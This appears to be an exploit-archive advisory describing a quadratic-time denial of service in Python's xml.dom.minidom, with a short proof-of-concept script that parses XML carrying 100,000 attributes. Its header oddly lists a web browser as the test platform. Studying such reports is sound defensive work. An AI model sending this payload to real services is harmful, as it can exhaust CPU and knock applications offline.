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| # Title     : python3 minidom Algorithmic Denial of Service (DoS) via Excessive XML Attributes                                            |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
| # Vendor    : https://www.python.org/                                                                                                     |
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[+] Summary    : This proof of concept demonstrates an Algorithmic Denial of Service (Algo-DoS) condition caused by parsing an XML document containing an extremely 
                 large number of attributes using Python’s xml.dom.minidom library. Due to inefficient attribute handling with quadratic time complexity, the XML parser may 
				 consume excessive CPU resources, leading to severe performance degradation or service unavailability. The issue becomes critical when untrusted XML input is 
				 processed without proper size limits or resource controls. 
                 This behavior does not result in code execution but represents a significant availability risk for applications relying on vulnerable XML parsing mechanisms
  
[+] POC :   

import xml.dom.minidom
import time

def trigger_dos_vulnerability():
    count = 100000 
    payload = '<?xml version="1.0"?><root ' + ' '.join([f'attr{i}="v"' for i in range(count)]) + ' />'
    print(f"[*] Attempting to process {count} attributes...")
    start_time = time.time()
    try:
        xml.dom.minidom.parseString(payload) 
        end_time = time.time()
        print(f"[+] Processing completed successfully in {end_time - start_time:.2f} seconds.")
        print("[!] The system might not be vulnerable, or the input is insufficient for a crash.")
    except Exception as e:
        print(f"[-] An error occurred during processing: {e}")

if __name__ == "__main__":
    trigger_dos_vulnerability()
	
	
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
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